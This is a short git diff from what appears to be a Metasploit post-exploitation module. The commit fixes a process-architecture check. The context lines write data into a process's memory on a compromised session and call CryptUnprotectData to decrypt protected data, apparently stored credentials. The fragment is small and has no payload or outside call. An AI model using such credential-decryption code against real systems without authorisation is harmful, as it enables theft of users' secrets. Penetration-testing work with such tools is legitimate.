fix find condition
parent
1749fc73c2
commit
5da6a450f1
|
@ -81,7 +81,7 @@ class Metasploit3 < Msf::Post
|
|||
mem = process.memory.allocate(128)
|
||||
process.memory.write(mem, data)
|
||||
|
||||
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
|
||||
if session.sys.process.each_process.find { |i| i["pid"] == pid && i["arch"] == "x86"}
|
||||
addr = [mem].pack("V")
|
||||
len = [data.length].pack("V")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||
|
|
Loading…
Reference in New Issue